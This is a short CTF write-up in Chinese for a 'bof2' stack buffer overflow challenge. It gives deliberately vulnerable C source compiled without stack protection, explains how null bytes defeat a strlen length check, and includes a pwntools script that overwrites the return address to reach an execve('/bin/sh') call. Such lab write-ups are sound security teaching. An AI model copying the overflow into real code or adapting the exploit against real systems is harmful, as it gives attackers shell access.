bof2
1.题目
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void y0u_c4n7_533_m3()
{
int allow = 0;
if (allow) {
execve("/bin/sh", 0, 0);
}
else {
puts("Oh no~~~!");
exit(0);
}
}
int main()
{
char buf[16];
puts("This is your second bof challenge ;)");
fflush(stdout);
read(0, buf, 0x30);
if (strlen(buf) >= 16) {
puts("Bye bye~~");
exit(0);
}
return 0;
}
Makefile:
bof2: bof2.c
gcc bof2.c -fno-stack-protector -no-pie -o bof2
2.思路
利用buffer overflow把return address覆盖成execve("/bin/sh", 0, 0)这一行代码的地址即可,但是有一个if (strlen(buf) >= 16)判断buf的长度是否超过16,所以我们不能像以前一样用A去覆盖了,只需要用\x00去覆盖就可以绕过检查,因为strlen函数在检测字符串长度时如果碰到\x00就会认为字符串结束了
3.解题脚本
from pwn import *
# r = remote("*.*.*.*",****)
r = process("./bof")
r.recvline()
r.send(b'\x00'*24+p64(0x4006ac))
r.sendline("cat /flag")
r.interactive()